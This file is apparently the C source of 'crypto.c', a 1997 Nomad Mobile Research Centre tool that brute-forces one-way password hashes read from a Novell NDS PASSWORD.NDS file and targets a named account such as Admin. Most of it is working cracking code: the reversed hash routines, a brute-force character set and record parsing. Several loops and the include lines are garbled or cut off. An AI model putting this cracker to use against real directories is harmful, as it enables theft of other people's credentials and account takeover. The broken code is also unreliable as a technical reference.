/************************************************************************* * * * crypto.c - cracks one way encrypted passwords from NDS * * * * Programmer - Simple Nomad - Nomad Mobile Research Centre * * Crypto routines by itsme@xs4all.nl * * * *-----------------------------------------------------------------------* * * * 6/6/97 - Initial Revision * * * *-----------------------------------------------------------------------* * * * 6/13/97 - Completed basic program. * * * *-----------------------------------------------------------------------* * * * 6/26/97 - Redid brute force attack. Cleaned up code. * * * *-----------------------------------------------------------------------* * * * 6/27/97 - Minor bug fixes to improve memory usage. * * * *-----------------------------------------------------------------------* * * * 6/28/97 - Removed several old routines, minor bug fixes. * * * *-----------------------------------------------------------------------* * * * 6/29/97 - Fixed problem that crashed DOS windows under Win95, also * * added big endian support. * * * *************************************************************************/ /* * Includes */ #include #include #include /* * Typedefs for program */ typedef unsigned char uint8; typedef unsigned int uint16; typedef unsigned long uint32; /* * The PASSWORD.NDS struct and a global pointer */ typedef struct password { uint32 selfOffset; /* Offset in PASSWORD.NDS. If this is the first record, it is 0x00000000 followed by 0x0000014e for the second record, etc. */ uint32 id; /* Object ID from ENTRY */ uint32 parentID; /* Parent ID */ uint32 objectID; /* Object ID from Private Key */ uint32 pwlen; /* Password length of user account */ uint8 hash[16]; /* One-way hash */ uint8 userOU[40]; /* OU of User */ uint8 userCN[258]; /* User common name */ } PASSWORD; /* size=334 */ PASSWORD pPassword; #ifdef ENDIAN union { uint32 longData; uint8 shortData[4]; } output; union { uint32 longData; uint8 shortData[4]; } input; #endif /* * Global constants */ #define TRUE 1 #define FALSE 0 uint8 nyblTab[256]= /* used by encrypt */ {/* 0 1 2 3 4 5 6 7 8 9 a b c d e f */ 0x7,0x8,0x0,0x8,0x6,0x4,0xE,0x4,0x5,0xC,0x1,0x7,0xB,0xF,0xA,0x8, 0xF,0x8,0xC,0xC,0x9,0x4,0x1,0xE,0x4,0x6,0x2,0x4,0x0,0xA,0xB,0x9, 0x2,0xF,0xB,0x1,0xD,0x2,0x1,0x9,0x5,0xE,0x7,0x0,0x0,0x2,0x6,0x6, 0x0,0x7,0x3,0x8,0x2,0x9,0x3,0xF,0x7,0xF,0xC,0xF,0x6,0x4,0xA,0x0, 0x2,0x3,0xA,0xB,0xD,0x8,0x3,0xA,0x1,0x7,0xC,0xF,0x1,0x8,0x9,0xD, 0x9,0x1,0x9,0x4,0xE,0x4,0xC,0x5,0x5,0xC,0x8,0xB,0x2,0x3,0x9,0xE, 0x7,0x7,0x6,0x9,0xE,0xF,0xC,0x8,0xD,0x1,0xA,0x6,0xE,0xD,0x0,0x7, 0x7,0xA,0x0,0x1,0xF,0x5,0x4,0xB,0x7,0xB,0xE,0xC,0x9,0x5,0xD,0x1, 0xB,0xD,0x1,0x3,0x5,0xD,0xE,0x6,0x3,0x0,0xB,0xB,0xF,0x3,0x6,0x4, 0x9,0xD,0xA,0x3,0x1,0x4,0x9,0x4,0x8,0x3,0xB,0xE,0x5,0x0,0x5,0x2, 0xC,0xB,0xD,0x5,0xD,0x5,0xD,0x2,0xD,0x9,0xA,0xC,0xA,0x0,0xB,0x3, 0x5,0x3,0x6,0x9,0x5,0x1,0xE,0xE,0x0,0xE,0x8,0x2,0xD,0x2,0x2,0x0, 0x4,0xF,0x8,0x5,0x9,0x6,0x8,0x6,0xB,0xA,0xB,0xF,0x0,0x7,0x2,0x8, 0xC,0x7,0x3,0xA,0x1,0x4,0x2,0x5,0xF,0x7,0xA,0xC,0xE,0x5,0x9,0x3, 0xE,0x7,0x1,0x2,0xE,0x1,0xF,0x4,0xA,0x6,0xC,0x6,0xF,0x4,0x3,0x0, 0xC,0x0,0x3,0x6,0xF,0x8,0x7,0xB,0x2,0xD,0xC,0x6,0xA,0xA,0x8,0xD }; /* / nyblTab reversed / / 0 02 1c 2b 2c 30 3f 6e 72 89 9d ad b8 bf cc ef f1 / 1 0a 16 23 26 48 4c 51 69 73 7f 82 94 b5 d4 e2 e5 / 2 1a 20 25 2d 34 40 5c 9f a7 bb bd be ce d6 e3 f8 / 3 32 36 41 46 5d 83 88 8d 93 99 af b1 d2 df ee f2 / 4 05 07 15 18 1b 3d 53 55 76 8f 95 97 c0 d5 e7 ed / 5 08 28 57 58 75 7d 84 9c 9e a3 a5 b0 b4 c3 d7 dd / 6 04 19 2e 2f 3c 62 6b 87 8e b2 c5 c7 e9 eb f3 fb / 7 00 0b 2a 31 38 49 60 61 6f 70 78 cd d1 d9 e1 f6 / 8 01 03 0f 11 33 45 4d 5a 67 98 ba c2 c6 cf f5 fe / 9 14 1f 27 35 4e 50 52 5e 63 7c 90 96 a9 b3 c4 de / a 0e 1d 3e 42 47 6a 71 92 aa ac c9 d3 da e8 fc fd / b 0c 1e 22 43 5b 77 79 80 8a 8b 9a a1 ae c8 ca f7 / c 09 12 13 3a 4a 56 59 66 7b a0 ab d0 db ea f0 fa / d 24 44 4f 68 6d 7e 81 85 91 a2 a4 a6 a8 bc f9 ff / e 06 17 29 54 5f 64 6c 7a 86 9b b6 b7 b9 dc e0 e4 / f 0d 10 21 37 39 3b 4b 65 74 8c c1 cb d8 e6 ec f4 */ uint8 crypTab[32]= /* used by encrypt & encryptp */ { 0x48,0x93,0x46,0x67,0x98,0x3D,0xE6,0x8D,0xB7,0x10,0x7A,0x26,0x5A,0xB9,0xB1,0x35, 0x6B,0x0F,0xD5,0x70,0xAE,0xFB,0xAD,0x11,0xF4,0x47,0xDC,0xA7,0xEC,0xCF,0x50,0xC0 }; /* The characters used for brute force cracking */ char data[68]={"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,./<>?;':\"[]{}`~!@#$%^&*()_-+=|"}; /* * Global variables */ int level=0; int crypt2data[96]; int crypt2_c_val[64]; int revcrypt2data[96]; int revcrypt2_c_val[64]; /* * START OF ITSME ROUTINES */ /* * generic dump routine */ void dump(uint8 *p,int l) { int i; for (i=0 ; ii */ result=(calcElement(index-32-i+k)-crypTab[i]) ^ (value+c); crypt2data[index]=result; return result; } /* * crypt2 2nd encryption on cipher */ void crypt2(uint8 *cipher) { int i; for (i=0 ; i<32 ; i++) cipher[i]=calcElement(64+i); } /* * Now take the plaintext and make it ciphertext */ void forwardcrypt(uint8 *plain, uint8 *cipher) { int c; int k; int i; int j; uint8 buf[3][32]; memcpy(buf[0], plain, 32); c=0; for (j=0 ; j<2 ; j++) for (i=0 ; i<32 ; i++) { k = (i+c)&0x1f; if (ki */ buf[j+1][i]=(buf[j][k] - crypTab[i]) ^ (buf[j][i]+c); c+=buf[j+1][i]; } memcpy(cipher, buf[2], 32); } uint8 revcalcElement(int index); void initCalc(uint8 *plain) { int i; for (i=0 ; i<32 ; i++) crypt2data[i]=plain[i]; memset(crypt2data+32, -1, 64*sizeof(int)); memset(crypt2_c_val, -1, 64*sizeof(int)); } /* * initRevCalc called from main encryptp routine */ void initRevCalc(uint8 *cipher, int initial_c) { int i; for (i=0 ; i<32 ; i++) revcrypt2data[i+64]=cipher[i]; memset(revcrypt2data, -1, 64*sizeof(int)); memset(revcrypt2_c_val, -1, 64*sizeof(int)); revcrypt2_c_val[63]=initial_c; } /* * calculate c for revcrypt */ int rev_calc_c(int index) { level++; if (index<32) { level--; return 0; } if (revcrypt2_c_val[index-32]==-1) revcrypt2_c_val[index-32]=rev_calc_c(index+1)-revcalcElement(index+1); level--; return revcrypt2_c_val[index-32]; } /* * calc the element from the crypt table */ uint8 revcalcElement(int index) { int c; int k; int i; int value; int result; level++; if (index<0) { level--; return 0; } if (revcrypt2data[index]!=-1) { level--; return revcrypt2data[index]; } c=rev_calc_c(index); i=index&0x1f; k=(c+i)&0x1f; value=revcalcElement(index+32); if (ki */ result = value ^ (revcalcElement(index-i+k) - crypTab[i]); revcrypt2data[index]=result; level--; return result; } /* * revcrypt2 */ void revcrypt2(uint8 *plain) { int i; for (i=0 ; i<32 ; i++) plain[i]=revcalcElement(64+i); } /* * shrink to 16 byte hash */ void shrinkbuf(uint8 *src, uint8 *dst) { int i; for (i=0 ; i<16 ; i++) { *dst = nyblTab[*src++]; *dst++ |= nyblTab[*src++]<<4; } } /* * XOR password with object ID */ void xorwithid(uint32 id, uint32 *buf) { int i; for (i=0 ; i<8 ; i++) *buf++ ^= id; } /* * Prepare the password by lengthening... */ void preparepw(uint8 *pw, int pwLen, uint8 *dst) { uint8 *p; int i; p=pw; for (i=0 ; i<32 ; i++) { if (pw+pwLen==p) { p=pw; *dst++=crypTab[i]; } else *dst++=*p++; } } /* * uint32 id : UserID * char src[len] : unencrypted password to try * int len : length of unencrypted password * char dst[16] : encrypted password (result) */ int encryptp(uint32 id, uint8 *src, int len, uint8 *dst) { uint8 buf[32]; /* password xored with ID and itself ... */ uint8 buf2[32]; /* password xored with ID and itself ... */ int FOUND,i; FOUND=TRUE; preparepw(src, len, buf); xorwithid(id, (uint32*)buf); forwardcrypt(buf, buf2); initCalc(buf); crypt2(buf2); initRevCalc(buf2, 0x58); revcrypt2(buf); shrinkbuf(buf2, dst); /* dst should now contain the one way hash, so we compare it to our targeted user's */ for (i=0;i<16;i++) { if (dst[i]!=pPassword.hash[i]) FOUND=FALSE; } return(FOUND); } /* * END OF ITSME ROUTINES */ /* * This routine switches byte ordering to get around the big * endian -- little endian problem. I did this because systems * like AIX offer no solutions for a big endian reading a little * endian created file. Send it a uint32 and it returns the * converted uint32. */ #ifdef ENDIAN uint32 make_conversion(uint32 k) { int i; uint32 j; input.longData=k; for (i=0; i<4; i++) output.shortData[i]=input.shortData[3-i]; return(output.longData); } #endif /* * Dump unicode to screen. I dislike unicode a lot, but this routine * skips the 0x00's and only prints the parts that matter. */ void printUnicodeName(char *name, int j) { int i; for (i=0;i\n"); printf(" -h This HELP screen\n"); printf(" -r RESTORE a previous brute force attack.\n"); printf(" -u Attack the USER specified (username is case sensitive).\n\n"); printf("EXAMPLES:\n"); printf(" crypto -r\n"); printf(" crypto -u Admin\n\n"); exit(j); } /* * This routine looks for a particular user. It is passed the total number * of users to look through and who to look for. If found, TRUE is returned. * FALSE is returned if the user was not found. */ int findEntryInPasswordFile(long int j, char *account) { FILE *fPassword; int FOUND,i,k; FOUND=FALSE; fPassword=fopen("PASSWORD.NDS","rb"); if (fPassword==NULL) { printf("Unable to open PASSWORD.NDS\n"); exit(1); } while(j!=0) { fread(&pPassword,334,1,fPassword); FOUND=TRUE; for (i=0;iargc) || argv[i+1][0]=='-') { printf("No argument given for option -u\n"); exit(1); } sprintf(account,"%s",argv[i+1]); break; case 'h': case 'H': case '?': printHelp(0); default: printf("Invalid option: %s\n", argv[i]); printHelp(1); } } /* if we aren't restoring a past brute force attack, we must find the user's info and set things up */ if(restore==FALSE) { j=countPasswordRecords(); FOUND=findEntryInPasswordFile(j,account); if (FOUND==FALSE) { printf("%s not found in password file.\n",account); exit(1); } FOUND=FALSE; for (i=0;i